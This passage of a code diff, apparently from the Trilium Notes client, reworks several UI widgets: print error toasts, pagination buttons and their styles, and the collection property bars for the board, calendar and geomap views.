+    if (!printReport) return;
+
+    if (printReport.type === "error") {
+        toast.showPersistent({
+            id: "print-error",
+            icon: "bx bx-error-circle",
+            title: t("note_detail.print_report_error_title"),
+            message: printReport.message,
+            buttons: printReport.stack ? [
+                {
+                    text: t("note_detail.print_report_collection_details_button"),
+                    onClick(api) {
+                        api.dismissToast();
+                        dialog.info(<>
+                            <p>{printReport.message}</p>
+                            <details>
+                                <summary>{t("note_detail.print_report_stack_trace")}</summary>
+                                <pre style="font-size: 0.85em; overflow-x: auto;">{printReport.stack}</pre>
+                            </details>
+                        </>, {
+                            title: t("note_detail.print_report_error_title")
+                        });
+                    }
+                }
+            ] : undefined
+        });
+    } else if (printReport.type === "collection" && printReport.ignoredNoteIds.length > 0) {
        toast.showPersistent({
            id: "print-report",
            icon: "bx bx-collection",
--- a/apps/client/src/widgets/PromotedAttributes.css
+++ b/apps/client/src/widgets/PromotedAttributes.css
@@ -16,6 +16,10 @@ body.mobile .promoted-attributes-widget {
    display: table;
 }

+body.experimental-feature-new-layout .promoted-attributes-container {
+    max-height: unset;
+}
+
 .promoted-attribute-cell {
    display: flex;
    align-items: center;
@@ -94,4 +98,4 @@ body.mobile .promoted-attributes-widget {
    background: rgba(0, 0, 0, 0.5);
    transform: rotate(45deg);
    pointer-events: none;
-}
+}
--- a/apps/client/src/widgets/PromotedAttributes.tsx
+++ b/apps/client/src/widgets/PromotedAttributes.tsx
@@ -5,6 +5,7 @@ import clsx from "clsx";
 import { ComponentChild, HTMLInputTypeAttribute, InputHTMLAttributes, MouseEventHandler, TargetedEvent, TargetedInputEvent } from "preact";
 import { Dispatch, StateUpdater, useEffect, useRef, useState } from "preact/hooks";

+import NoteContext from "../components/note_context";
 import FAttribute from "../entities/fattribute";
 import FNote from "../entities/fnote";
 import { Attribute } from "../services/attribute_parser";
@@ -40,8 +41,8 @@ type OnChangeEventData = TargetedEvent<HTMLInputElement, Event> | InputEvent | J
 type OnChangeListener = (e: OnChangeEventData) => Promise<void>;

 export default function PromotedAttributes() {
-    const { note, componentId } = useNoteContext();
-    const [ cells, setCells ] = usePromotedAttributeData(note, componentId);
+    const { note, componentId, noteContext } = useNoteContext();
+    const [ cells, setCells ] = usePromotedAttributeData(note, componentId, noteContext);
    return <PromotedAttributesContent note={note} componentId={componentId} cells={cells} setCells={setCells} />;
 }

@@ -74,12 +75,12 @@ export function PromotedAttributesContent({ note, componentId, cells, setCells }
 *
 * The cells are returned as a state since they can also be altered internally if needed, for example to add a new empty cell.
 */
-export function usePromotedAttributeData(note: FNote | null | undefined, componentId: string): [ Cell[] | undefined, Dispatch<StateUpdater<Cell[] | undefined>> ] {
+export function usePromotedAttributeData(note: FNote | null | undefined, componentId: string, noteContext: NoteContext | undefined): [ Cell[] | undefined, Dispatch<StateUpdater<Cell[] | undefined>> ] {
    const [ viewType ] = useNoteLabel(note, "viewType");
    const [ cells, setCells ] = useState<Cell[]>();

    function refresh() {
-        if (!note || viewType === "table") {
+        if (!note || viewType === "table" || noteContext?.viewScope?.viewMode !== "default") {
            setCells([]);
            return;
        }
@@ -124,7 +125,7 @@ export function usePromotedAttributeData(note: FNote | null | undefined, compone
        setCells(cells);
    }

-    useEffect(refresh, [ note, viewType ]);
+    useEffect(refresh, [ note, viewType, noteContext ]);
    useTriliumEvent("entitiesReloaded", ({ loadResults }) => {
        if (loadResults.getAttributeRows(componentId).find((attr) => attributes.isAffecting(attr, note))) {
            refresh();
--- a/apps/client/src/widgets/buttons/global_menu.tsx
+++ b/apps/client/src/widgets/buttons/global_menu.tsx
@@ -29,7 +29,6 @@ export default function GlobalMenu({ isHorizontalLayout }: { isHorizontalLayout:
    const isVerticalLayout = !isHorizontalLayout;
    const parentComponent = useContext(ParentComponent);
    const { isUpdateAvailable, latestVersion } = useTriliumUpdateStatus();
-    const isMobileLocal = isMobile();
    const logoRef = useRef<SVGSVGElement>(null);
    useStaticTooltip(logoRef);

@@ -44,9 +43,13 @@ export default function GlobalMenu({ isHorizontalLayout }: { isHorizontalLayout:
                </div>}
            </>}
            noDropdownListStyle
-            onShown={isMobileLocal ? () => document.getElementById("context-menu-cover")?.classList.add("show", "global-menu-cover") : undefined}
-            onHidden={isMobileLocal ? () => document.getElementById("context-menu-cover")?.classList.remove("show", "global-menu-cover") : undefined}
+            mobileBackdrop
        >
+            {isMobile() && <>
+                <MenuItem command="searchNotes" icon="bx bx-search" text={t("global_menu.search_notes")} />
+                <MenuItem command="showRecentChanges" icon="bx bx-history" text={t("recent_changes.title")} />
+                <FormDropdownDivider />
+            </>}

            <MenuItem command="openNewWindow" icon="bx bx-window-open" text={t("global_menu.open_new_window")} />
            <MenuItem command="showShareSubtree" icon="bx bx-share-alt" text={t("global_menu.show_shared_notes_subtree")} />
@@ -107,8 +110,7 @@ function BrowserOnlyOptions() {

 function DevelopmentOptions({ dropStart }: { dropStart: boolean }) {
    return <>
-        <FormDropdownDivider />
-        <FormListItem disabled>Development Options</FormListItem>
+        <FormListHeader text="Development Options" />
        <FormDropdownSubmenu icon="bx bx-test-tube" title="Experimental features" dropStart={dropStart}>
            {experimentalFeatures.map((feature) => (
                <ExperimentalFeatureToggle key={feature.id} experimentalFeature={feature as ExperimentalFeature} />
--- a/apps/client/src/widgets/collections/NoteList.css
+++ b/apps/client/src/widgets/collections/NoteList.css
@@ -1,9 +1,13 @@
 .note-list-widget {
    min-height: 0;
    max-width: var(--max-content-width); /* Inherited from .note-split */
- 
-    overflow: auto;
+
+    overflow: visible;
    contain: none !important;
+
+    &.full-height {
+        overflow: auto;
+    }
 }

 body.prefers-centered-content .note-list-widget:not(.full-height) {
@@ -11,10 +15,6 @@ body.prefers-centered-content .note-list-widget:not(.full-height) {
    margin-inline: auto;
 }

-.note-list-widget .note-list {
-    padding-block: 10px;
-}
-
 .note-list-widget.full-height,
 .note-list-widget.full-height .note-list-widget-content {
    height: 100%;
@@ -23,10 +23,3 @@ body.prefers-centered-content .note-list-widget:not(.full-height) {
 .note-list-widget video {
    height: 100%;
 }
-
-/* #region Pagination */
-.note-list-pager span.current-page {
-    text-decoration: underline;
-    font-weight: bold;
-}
-/* #endregion */
--- a/apps/client/src/widgets/collections/Pagination.css
+++ b/apps/client/src/widgets/collections/Pagination.css
@@ -0,0 +1,88 @@
+:where(.note-list-pager) {
+    --note-list-pager-page-button-width: 40px;
+    --note-list-pager-page-button-gap: 3px;
+    --note-list-pager-ellipsis-width: 20px;
+    --note-list-pager-justify-content: flex-end;
+
+    --note-list-pager-current-page-button-background-color: var(--button-group-active-button-background);
+    --note-list-pager-current-page-button-text-color: var(--button-group-active-button-text-color);
+}
+
+.note-list-pager-container {
+    display: flex;
+    flex-direction: column;
+    width: 100%;
+    container: note-list-pager / inline-size;
+}
+
+.note-list-pager {
+    display: flex;
+    align-items: center;
+    font-size: .8rem;
+    align-self: var(--note-list-pager-justify-content);
+
+    .note-list-pager-nav-button {
+        --icon-button-icon-ratio: .75;
+    }
+
+    .note-list-pager-page-button-container {
+        display: flex;
+        align-items: baseline;
+        justify-content: space-around;
+        gap: var(--note-list-pager-page-button-gap);
+
+        &.note-list-pager-ellipsis-present {
+            /* Prevent the prev/next buttons from shifting when ellipses appear or disappear */
+            --_gap-max-width: calc((var(--note-list-pager-page-button-count) + 2) * var(--note-list-pager-page-button-gap));
+            
+            min-width: calc(var(--note-list-pager-page-button-count) * var(--note-list-pager-page-button-width)
+                        + (var(--note-list-pager-ellipsis-width) * 2)
+                        + var(--_gap-max-width));
+        }
+
+        .note-list-pager-page-button {
+            min-width: var(--note-list-pager-page-button-width);
+            padding-inline: 0;
+            padding-block: 4px;
+
+            &.note-list-pager-page-button-current {
+                background: var(--note-list-pager-current-page-button-background-color);
+                color: var(--note-list-pager-current-page-button-text-color);
+                font-weight: bold;
+                opacity: unset;
+            }
+        }
+
+        .note-list-pager-ellipsis {
+            display: inline-block;
+            width: var(--note-list-pager-ellipsis-width);
+            text-align: center;
+            opacity: .5;
+        }
+    }
+
+    .note-list-pager-narrow-counter {
+        display: none;
+        min-width: 60px;
+        text-align: center;
+        white-space: nowrap;
+    }
+
+    .note-list-pager-total-count {
+        margin-inline-start: 8px;
+        opacity: .5;
+        white-space: nowrap;
+    }
+
+    @container note-list-pager (max-width: 550px) {
+        .note-list-pager-page-button-container,
+        .note-list-pager-total-count {
+            display: none;
+        }
+
+        .note-list-pager-narrow-counter {
+            display: block;
+        }
+    }
+}
+
--- a/apps/client/src/widgets/collections/Pagination.tsx
+++ b/apps/client/src/widgets/collections/Pagination.tsx
@@ -4,6 +4,10 @@ import FNote from "../../entities/fnote";
 import froca from "../../services/froca";
 import { useNoteLabelInt } from "../react/hooks";
 import { t } from "../../services/i18n";
+import ActionButton from "../react/ActionButton";
+import Button from "../react/Button";
+import "./Pagination.css";
+import clsx from "clsx";

 interface PaginationContext {
    page: number;
@@ -17,46 +21,106 @@ interface PaginationContext {
 export function Pager({ page, pageSize, setPage, pageCount, totalNotes }: Omit<PaginationContext, "pageNotes">) {
    if (pageCount < 2) return;

-    let lastPrinted = false;
-    let children: ComponentChildren[] = [];
-    for (let i = 1; i <= pageCount; i++) {
-        if (pageCount < 20 || i <= 5 || pageCount - i <= 5 || Math.abs(page - i) <= 2) {
-            lastPrinted = true;
-
-            const startIndex = (i - 1) * pageSize + 1;
-            const endIndex = Math.min(totalNotes, i * pageSize);
-
-            if (i !== page) {
-                children.push((
-                    <a
-                        href="javascript:"
-                        title={t("pagination.page_title", { startIndex, endIndex })}
-                        onClick={() => setPage(i)}
-                    >
-                    {i}
-                    </a>
-                ))
-            } else {
-                // Current page
-                children.push(<span className="current-page">{i}</span>)
-            }
-
-            children.push(<>{" "}&nbsp;{" "}</>);
-        } else if (lastPrinted) {
-            children.push(<>{"... "}&nbsp;{" "}</>);
-            lastPrinted = false;
-        }
-    }
-
    return (
-        <div class="note-list-pager">
-            {children}
+        <div className="note-list-pager-container">
+            <div className="note-list-pager">
+                <ActionButton
+                    icon="bx bx-chevron-left"
+                    className="note-list-pager-nav-button"
+                    disabled={(page === 1)}
+                    text={t("pagination.prev_page")}
+                    onClick={() => setPage(page - 1)}
+                />

-            <span className="note-list-pager-total-count">({t("pagination.total_notes", { count: totalNotes })})</span>
+                <PageButtons page={page} setPage={setPage} pageCount={pageCount} />
+                <div className="note-list-pager-narrow-counter">
+                    <strong>{page}</strong> / <strong>{pageCount}</strong>
+                </div>
+                            
+                <ActionButton
+                    icon="bx bx-chevron-right"
+                    className="note-list-pager-nav-button"
+                    disabled={(page === pageCount)}
+                    text={t("pagination.next_page")}
+                    onClick={() => setPage(page + 1)}
+                />
+
+                <div className="note-list-pager-total-count">
+                    {t("pagination.total_notes", { count: totalNotes })}
+                </div>
+            </div>
        </div>
    )
 }

+interface PageButtonsProps {
+    page: number;
+    setPage: Dispatch<StateUpdater<number>>;
+    pageCount: number;
+}
+
+function PageButtons(props: PageButtonsProps) {
+    const maxButtonCount = 9;
+    const maxLeftRightSegmentLength = 2;
+    
+    // The left-side segment
+    const leftLength = Math.min(props.pageCount, maxLeftRightSegmentLength);
+    const leftStart = 1;
+
+    // The middle segment
+    const middleMaxLength = maxButtonCount - maxLeftRightSegmentLength * 2;
+    const middleLength = Math.min(props.pageCount - leftLength, middleMaxLength);
+    let middleStart = props.page - Math.floor(middleLength / 2);
+    middleStart = Math.max(middleStart, leftLength + 1);
+
+    // The right-side segment
+    const rightLength = Math.min(props.pageCount - (middleLength + leftLength), maxLeftRightSegmentLength);
+    const rightStart = props.pageCount - rightLength + 1;
+    middleStart = Math.min(middleStart, rightStart - middleLength);
+
+    const totalButtonCount = leftLength + middleLength + rightLength;
+    const hasLeadingEllipsis =  (middleStart - leftLength > 1);
+    const hasTrailingEllipsis = (rightStart - (middleStart + middleLength - 1) > 1);
+
+    return <div className={clsx("note-list-pager-page-button-container", {
+                    "note-list-pager-ellipsis-present": (totalButtonCount === maxButtonCount)
+                })}
+                style={{"--note-list-pager-page-button-count": totalButtonCount}}>
+        {[
+            ...createSegment(leftStart, leftLength, props.page, props.setPage, false),
+            ...createSegment(middleStart, middleLength, props.page, props.setPage, hasLeadingEllipsis),
+            ...createSegment(rightStart, rightLength, props.page, props.setPage, hasTrailingEllipsis),
+        ]}
+    </div>;
+}
+
+function createSegment(start: number, length: number, currentPage: number, setPage: Dispatch<StateUpdater<number>>, prependEllipsis: boolean): ComponentChildren[] {
+    const children: ComponentChildren[] = [];
+    
+    if (prependEllipsis) {
+        children.push(<span className="note-list-pager-ellipsis">...</span>);
+    }
+
+    for (let i = 0; i < length; i++) {
+        const pageNum = start + i;
+        const isCurrent = (pageNum === currentPage);
+        children.push((
+            <Button
+                text={pageNum.toString()}
+                kind="lowProfile"
+                className={clsx(
+                    "note-list-pager-page-button",
+                    {"note-list-pager-page-button-current": isCurrent}
+                )}
+                disabled={isCurrent}
+                onClick={() => setPage(pageNum)}
+            />
+        ));
+    }
+
+    return children;
+}
+
 export function usePagination(note: FNote, noteIds: string[]): PaginationContext {
    const [ page, setPage ] = useState(1);
    const [ pageNotes, setPageNotes ] = useState<FNote[]>();
--- a/apps/client/src/widgets/collections/board/index.css
+++ b/apps/client/src/widgets/collections/board/index.css
@@ -2,25 +2,28 @@
  position: relative;
  height: 100%;
  user-select: none;
-  overflow-x: auto;
+  display: flex;
+  flex-direction: column;

  --card-font-size: 0.9em;
  --card-line-height: 1.2;
  --card-padding: 0.6em;
 }

-body.mobile .board-view {
-  scroll-snap-type: x mandatory;
-  -webkit-overflow-scrolling: touch;
-  scroll-behavior: smooth;
-}
-
 .board-view-container {
  height: 100%;
  display: flex;
  gap: 1em;
-  padding: 1em;
+  padding-inline: 12px;
+  padding-block: 4px;
  align-items: flex-start;
+  overflow-x: auto;
+}
+
+body.mobile .board-view-container {
+  scroll-snap-type: x mandatory;
+  -webkit-overflow-scrolling: touch;
+  scroll-behavior: smooth;
 }

 .board-view-container .board-column {
@@ -352,4 +355,4 @@ body.mobile .board-view-container .board-column {
  font-size: 0.9em;
  max-width: 200px;
  word-wrap: break-word;
-}
+}
--- a/apps/client/src/widgets/collections/board/index.tsx
+++ b/apps/client/src/widgets/collections/board/index.tsx
@@ -1,20 +1,23 @@
-import { Dispatch, StateUpdater, useCallback, useEffect, useMemo, useRef, useState } from "preact/hooks";
-import { ViewModeProps } from "../interface";
 import "./index.css";
-import { ColumnMap, getBoardData } from "./data";
+
+import { createContext, TargetedKeyboardEvent } from "preact";
+import { Dispatch, StateUpdater, useCallback, useEffect, useMemo, useRef, useState } from "preact/hooks";
+
+import FNote from "../../../entities/fnote";
+import { t } from "../../../services/i18n";
+import toast from "../../../services/toast";
+import CollectionProperties from "../../note_bars/CollectionProperties";
+import FormTextArea from "../../react/FormTextArea";
+import FormTextBox from "../../react/FormTextBox";
 import { useNoteLabelBoolean, useNoteLabelWithDefault, useTriliumEvent } from "../../react/hooks";
 import Icon from "../../react/Icon";
-import { t } from "../../../services/i18n";
-import Api from "./api";
-import FormTextBox from "../../react/FormTextBox";
-import { createContext, TargetedKeyboardEvent } from "preact";
-import { onWheelHorizontalScroll } from "../../widget_utils";
-import Column from "./column";
-import BoardApi from "./api";
-import FormTextArea from "../../react/FormTextArea";
-import FNote from "../../../entities/fnote";
 import NoteAutocomplete from "../../react/NoteAutocomplete";
-import toast from "../../../services/toast";
+import { onWheelHorizontalScroll } from "../../widget_utils";
+import { ViewModeProps } from "../interface";
+import Api from "./api";
+import BoardApi from "./api";
+import Column from "./column";
+import { ColumnMap, getBoardData } from "./data";

 export interface BoardViewData {
    columns?: BoardColumnData[];
@@ -145,7 +148,7 @@ export default function BoardView({ note: parentNote, noteIds, viewConfig, saveC
        const insertBefore = mouseX < columnMiddle;

        // Calculate the target position
-        let targetIndex = insertBefore ? index : index + 1;
+        const targetIndex = insertBefore ? index : index + 1;

        setColumnDropPosition(targetIndex);
    }, [draggedColumn]);
@@ -159,15 +162,14 @@ export default function BoardView({ note: parentNote, noteIds, viewConfig, saveC
    }, [draggedColumn, columnDropPosition, handleColumnDrop]);

    return (
-        <div
-            className="board-view"
-            onWheel={onWheelHorizontalScroll}
-        >
+        <div className="board-view">
+            <CollectionProperties note={parentNote} />
            <BoardViewContext.Provider value={boardViewContext}>
                {byColumn && columns && <div
                    className="board-view-container"
                    onDragOver={handleColumnDragOver}
                    onDrop={handleContainerDrop}
+                    onWheel={onWheelHorizontalScroll}
                >
                    {columns.map((column, index) => (
                        <>
@@ -194,7 +196,7 @@ export default function BoardView({ note: parentNote, noteIds, viewConfig, saveC
                </div>}
            </BoardViewContext.Provider>
        </div>
-    )
+    );
 }

 function AddNewColumn({ api, isInRelationMode }: { api: BoardApi, isInRelationMode: boolean }) {
@@ -218,26 +220,26 @@ function AddNewColumn({ api, isInRelationMode }: { api: BoardApi, isInRelationMo
            tabIndex={300}
        >
            {!isCreatingNewColumn
-            ? <>
-                <Icon icon="bx bx-plus" />{" "}
-                {t("board_view.add-column")}
-            </>
-            : (
-                <TitleEditor
-                    placeholder={t("board_view.add-column-placeholder")}
-                    save={async (columnName) => {
-                        const created = await api.addNewColumn(columnName);
-                        if (!created) {
-                            toast.showMessage(t("board_view.column-already-exists"), undefined, "bx bx-duplicate");
-                        }
-                    }}
-                    dismiss={() => setIsCreatingNewColumn(false)}
-                    isNewItem
-                    mode={isInRelationMode ? "relation" : "normal"}
-                />
-            )}
+                ? <>
+                    <Icon icon="bx bx-plus" />{" "}
+                    {t("board_view.add-column")}
+                </>
+                : (
+                    <TitleEditor
+                        placeholder={t("board_view.add-column-placeholder")}
+                        save={async (columnName) => {
+                            const created = await api.addNewColumn(columnName);
+                            if (!created) {
+                                toast.showMessage(t("board_view.column-already-exists"), undefined, "bx bx-duplicate");
+                            }
+                        }}
+                        dismiss={() => setIsCreatingNewColumn(false)}
+                        isNewItem
+                        mode={isInRelationMode ? "relation" : "normal"}
+                    />
+                )}
        </div>
-    )
+    );
 }

 export function TitleEditor({ currentValue, placeholder, save, dismiss, mode, isNewItem }: {
@@ -302,26 +304,26 @@ export function TitleEditor({ currentValue, placeholder, save, dismiss, mode, is
                onBlur={onBlur}
            />
        );
-    } else {
-        return (
-            <NoteAutocomplete
-                inputRef={inputRef}
-                noteId={currentValue ?? ""}
-                opts={{
-                    hideAllButtons: true,
-                    allowCreatingNotes: true
-                }}
-                onKeyDown={(e) => {
-                    if (e.key === "Escape") {
-                        dismiss();
-                    }
-                }}
-                onBlur={() => dismiss()}
-                noteIdChanged={(newValue) => {
-                    save(newValue);
-                    dismiss();
-                }}
-            />
-        );
    }
+    return (
+        <NoteAutocomplete
+            inputRef={inputRef}
+            noteId={currentValue ?? ""}
+            opts={{
+                hideAllButtons: true,
+                allowCreatingNotes: true
+            }}
+            onKeyDown={(e) => {
+                if (e.key === "Escape") {
+                    dismiss();
+                }
+            }}
+            onBlur={() => dismiss()}
+            noteIdChanged={(newValue) => {
+                save(newValue);
+                dismiss();
+            }}
+        />
+    );
+
 }
--- a/apps/client/src/widgets/collections/calendar/index.css
+++ b/apps/client/src/widgets/collections/calendar/index.css
@@ -21,7 +21,16 @@
    outline: 0;
    height: 100%;
    user-select: none;
-    padding: 10px;
+    padding: 0;
+
+    @media (max-width: 991px) {
+        padding: 0;
+
+        th {
+            font-weight: normal;
+            font-size: 0.9em;
+        }
+    }
 }

 .calendar-view a,
@@ -43,6 +52,7 @@
    --fc-border-color: var(--main-border-color);
    --fc-neutral-bg-color: var(--launcher-pane-background-color);
    --fc-list-event-hover-bg-color: var(--left-pane-item-hover-background);
+    padding: 0 12px;
 }

 .calendar-container .fc-list-sticky .fc-list-day > * {
@@ -59,33 +69,35 @@
    overflow: hidden;
 }

-/* #region Header */
-.calendar-view .calendar-header {
-    margin-bottom: 10px;
-    display: flex;
-    align-items: center;
-    gap: 10px;
-}
+.calendar-view .collection-properties {
+    .center-container {
+        justify-content: center;

-.calendar-view .calendar-header .btn {
-    min-width: unset !important;
-}
+        .title {
+            min-width: 150px;
+            font-size: 1.2em;
+            text-align: center;
+        }
+    }

-.calendar-view .calendar-header > .title {
-    flex-grow: 1;
-    font-size: 1.3rem;
-    font-weight: normal;
-}
+    @media (max-width: 991px) {
+        >div {
+            justify-content: flex-start;
+        }

-body.desktop:not(.zen) .calendar-view .calendar-header {
-    padding-block-start: 4px;
-    padding-inline-end: 5em;
-}
+        .right-container {
+            flex-grow: 0;
+        }

-.search-result-widget-content .calendar-view .calendar-header {
-    padding-inline-end: unset !important;
+        .center-container {
+            .title {
+                flex-grow: 1;
+                min-width: 110px;
+                font-size: 0.95em;
+            }
+        }
+    }
 }
-/* #endregion */

 /* #region Events */

@@ -93,7 +105,7 @@ body.desktop:not(.zen) .calendar-view .calendar-header {
 * week, month, year views
 */

- .calendar-container a.fc-event {
+.calendar-container a.fc-event {
    text-decoration: none;
 }

@@ -126,7 +138,7 @@ body.desktop:not(.zen) .calendar-view .calendar-header {
 .calendar-view a.fc-timegrid-event,
 .calendar-view a.fc-daygrid-event {
    --border-color: transparent;
-    
+
    border: 2px solid;
    border-left-width: 4px;
    border-color: var(--border-color) var(--border-color) var(--border-color)
@@ -175,7 +187,7 @@ body.desktop:not(.zen) .calendar-view .calendar-header {
    opacity: .75;
 }

-/* 
+/*
 * List view
 */

@@ -188,4 +200,4 @@ body.desktop:not(.zen) .calendar-view .calendar-header {
    --fc-event-border-color: var(--custom-color);
 }

-/* #endregion */
+/* #endregion */
--- a/apps/client/src/widgets/collections/calendar/index.tsx
+++ b/apps/client/src/widgets/collections/calendar/index.tsx
@@ -14,8 +14,11 @@ import dialog from "../../../services/dialog";
 import froca from "../../../services/froca";
 import { t } from "../../../services/i18n";
 import { isMobile } from "../../../services/utils";
+import CollectionProperties from "../../note_bars/CollectionProperties";
 import ActionButton from "../../react/ActionButton";
 import Button, { ButtonGroup } from "../../react/Button";
+import Dropdown from "../../react/Dropdown";
+import { FormListItem } from "../../react/FormList";
 import { useNoteLabel, useNoteLabelBoolean, useResizeObserver, useSpacedUpdate, useTriliumEvent, useTriliumOption, useTriliumOptionInt } from "../../react/hooks";
 import { ParentComponent } from "../../react/react_utils";
 import TouchBar, { TouchBarButton, TouchBarLabel, TouchBarSegmentedControl, TouchBarSpacer } from "../../react/TouchBar";
@@ -41,24 +44,28 @@ const CALENDAR_VIEWS = [
    {
        type: "timeGridWeek",
        name: t("calendar.week"),
+        icon: "bx bx-calendar-week",
        previousText: t("calendar.week_previous"),
        nextText: t("calendar.week_next")
    },
    {
        type: "dayGridMonth",
        name: t("calendar.month"),
+        icon: "bx bx-calendar",
        previousText: t("calendar.month_previous"),
        nextText: t("calendar.month_next")
    },
    {
        type: "multiMonthYear",
        name: t("calendar.year"),
+        icon: "bx bx-layer",
        previousText: t("calendar.year_previous"),
        nextText: t("calendar.year_next")
    },
    {
        type: "listMonth",
        name: t("calendar.list"),
+        icon: "bx bx-list-ol",
        previousText: t("calendar.month_previous"),
        nextText: t("calendar.month_next")
    }
@@ -72,6 +79,7 @@ export const LOCALE_MAPPINGS: Record<DISPLAYABLE_LOCALE_IDS, (() => Promise<{ de
    es: () => import("@fullcalendar/core/locales/es"),
    fr: () => import("@fullcalendar/core/locales/fr"),
    it: () => import("@fullcalendar/core/locales/it"),
+    ga: null,
    cn: () => import("@fullcalendar/core/locales/zh-cn"),
    tw: () => import("@fullcalendar/core/locales/zh-tw"),
    ro: () => import("@fullcalendar/core/locales/ro"),
@@ -140,7 +148,7 @@ export default function CalendarView({ note, noteIds }: ViewModeProps<CalendarVi

    return (plugins &&
        <div className="calendar-view" ref={containerRef} tabIndex={100}>
-            <CalendarHeader calendarRef={calendarRef} />
+            <CalendarCollectionProperties note={note} calendarRef={calendarRef} />
            <Calendar
                events={eventBuilder}
                calendarRef={calendarRef}
@@ -169,28 +177,67 @@ export default function CalendarView({ note, noteIds }: ViewModeProps<CalendarVi
    );
 }

-function CalendarHeader({ calendarRef }: { calendarRef: RefObject<FullCalendar> }) {
+function CalendarCollectionProperties({ note, calendarRef }: {
+    note: FNote;
+    calendarRef: RefObject<FullCalendar>;
+}) {
    const { title, viewType: currentViewType } = useOnDatesSet(calendarRef);
    const currentViewData = CALENDAR_VIEWS.find(v => calendarRef.current && v.type === currentViewType);
+    const isMobileLocal = isMobile();

    return (
-        <div className="calendar-header">
-            <span className="title">{title}</span>
+        <CollectionProperties
+            note={note}
+            centerChildren={<>
+                <ActionButton icon="bx bx-chevron-left" text={currentViewData?.previousText ?? ""} onClick={() => calendarRef.current?.prev()} />
+                <span className="title">{title}</span>
+                <ActionButton icon="bx bx-chevron-right" text={currentViewData?.nextText ?? ""} onClick={() => calendarRef.current?.next()} />
+                <Button text={t("calendar.today")} onClick={() => calendarRef.current?.today()} />
+                {isMobileLocal && <MobileCalendarViewSwitcher calendarRef={calendarRef} />}
+            </>}
+            rightChildren={<>
+                {!isMobileLocal && <DesktopCalendarViewSwitcher calendarRef={calendarRef} />}
+            </>}
+        />
+    );
+}
+
+function DesktopCalendarViewSwitcher({ calendarRef }: { calendarRef: RefObject<FullCalendar> }) {
+    const { viewType: currentViewType } = useOnDatesSet(calendarRef);
+
+    return (
+        <>
            <ButtonGroup>
                {CALENDAR_VIEWS.map(viewData => (
                    <Button
-                        text={viewData.name.toLocaleLowerCase()}
+                        key={viewData.type}
+                        text={viewData.name}
                        className={currentViewType === viewData.type ? "active" : ""}
                        onClick={() => calendarRef.current?.changeView(viewData.type)}
                    />
                ))}
            </ButtonGroup>
-            <Button text={t("calendar.today").toLocaleLowerCase()} onClick={() => calendarRef.current?.today()} />
-            <ButtonGroup>
-                <ActionButton icon="bx bx-chevron-left" text={currentViewData?.previousText ?? ""} frame onClick={() => calendarRef.current?.prev()} />
-                <ActionButton icon="bx bx-chevron-right" text={currentViewData?.nextText ?? ""} frame onClick={() => calendarRef.current?.next()} />
-            </ButtonGroup>
-        </div>
+        </>
+    );
+}
+
+function MobileCalendarViewSwitcher({ calendarRef }: { calendarRef: RefObject<FullCalendar> }) {
+    const { viewType: currentViewType } = useOnDatesSet(calendarRef);
+    const currentViewTypeData = CALENDAR_VIEWS.find(view => view.type === currentViewType);
+
+    return (
+        <Dropdown
+            text={currentViewTypeData?.name}
+        >
+            {CALENDAR_VIEWS.map(viewData => (
+                <FormListItem
+                    key={viewData.type}
+                    selected={currentViewType === viewData.type}
+                    icon={viewData.icon}
+                    onClick={() => calendarRef.current?.changeView(viewData.type)}
+                >{viewData.name}</FormListItem>
+            ))}
+        </Dropdown>
    );
 }

@@ -217,17 +264,18 @@ function usePlugins(isEditable: boolean, isCalendarRoot: boolean) {
 }

 function useLocale() {
+    const [ locale ] = useTriliumOption("locale");
    const [ formattingLocale ] = useTriliumOption("formattingLocale");
    const [ calendarLocale, setCalendarLocale ] = useState<LocaleInput>();

    useEffect(() => {
-        const correspondingLocale = LOCALE_MAPPINGS[formattingLocale];
+        const correspondingLocale = LOCALE_MAPPINGS[formattingLocale] ?? LOCALE_MAPPINGS[locale];
        if (correspondingLocale) {
            correspondingLocale().then((locale) => setCalendarLocale(locale.default));
        } else {
            setCalendarLocale(undefined);
        }
-    });
+    }, [formattingLocale, locale]);

    return calendarLocale;
 }
--- a/apps/client/src/widgets/collections/geomap/index.css
+++ b/apps/client/src/widgets/collections/geomap/index.css
@@ -2,11 +2,26 @@
  overflow: hidden;
  position: relative;
  height: 100%;
+  display: flex;
+  flex-direction: column;
+
+  > .collection-properties {
+    position: relative;
+    z-index: 998;
+  }
+}
+
+body.mobile .geo-view > .collection-properties {
+    z-index: 2500;
 }

 .geo-map-container {
  height: 100%;
  overflow: hidden;
+
+  .maplibregl-canvas-container {
+    position: relative;
+  }
 }

 .leaflet-pane {
@@ -15,7 +30,7 @@

 .leaflet-top,
 .leaflet-bottom {
-  z-index: 997;
+  z-index: 997 !important;
 }

 .geo-view.placing-note .geo-map-container {
--- a/apps/client/src/widgets/collections/geomap/index.tsx
+++ b/apps/client/src/widgets/collections/geomap/index.tsx
@@ -1,24 +1,29 @@
-import Map from "./map";
 import "./index.css";
-import { ViewModeProps } from "../interface";
-import { useNoteBlob, useNoteLabel, useNoteLabelBoolean, useNoteProperty, useNoteTreeDrag, useSpacedUpdate, useTriliumEvent } from "../../react/hooks";
-import { DEFAULT_MAP_LAYER_NAME } from "./map_layer";
+
 import { divIcon, GPXOptions, LatLng, LeafletMouseEvent } from "leaflet";
-import { useCallback, useContext, useEffect, useMemo, useRef, useState } from "preact/hooks";
-import Marker, { GpxTrack } from "./marker";
-import froca from "../../../services/froca";
-import FNote from "../../../entities/fnote";
 import markerIcon from "leaflet/dist/images/marker-icon.png";
 import markerIconShadow from "leaflet/dist/images/marker-shadow.png";
+import { useCallback, useContext, useEffect, useMemo, useRef, useState } from "preact/hooks";
+
 import appContext from "../../../components/app_context";
-import { createNewNote, moveMarker } from "./api";
-import openContextMenu, { openMapContextMenu } from "./context_menu";
-import toast from "../../../services/toast";
+import FNote from "../../../entities/fnote";
+import branches from "../../../services/branches";
+import froca from "../../../services/froca";
 import { t } from "../../../services/i18n";
 import server from "../../../services/server";
-import branches from "../../../services/branches";
-import TouchBar, { TouchBarButton, TouchBarLabel, TouchBarSlider } from "../../react/TouchBar";
+import toast from "../../../services/toast";
+import CollectionProperties from "../../note_bars/CollectionProperties";
+import ActionButton from "../../react/ActionButton";
+import { ButtonOrActionButton } from "../../react/Button";
+import { useNoteBlob, useNoteLabel, useNoteLabelBoolean, useNoteProperty, useNoteTreeDrag, useSpacedUpdate, useTriliumEvent } from "../../react/hooks";
 import { ParentComponent } from "../../react/react_utils";
+import TouchBar, { TouchBarButton, TouchBarSlider } from "../../react/TouchBar";
+import { ViewModeProps } from "../interface";
+import { createNewNote, moveMarker } from "./api";
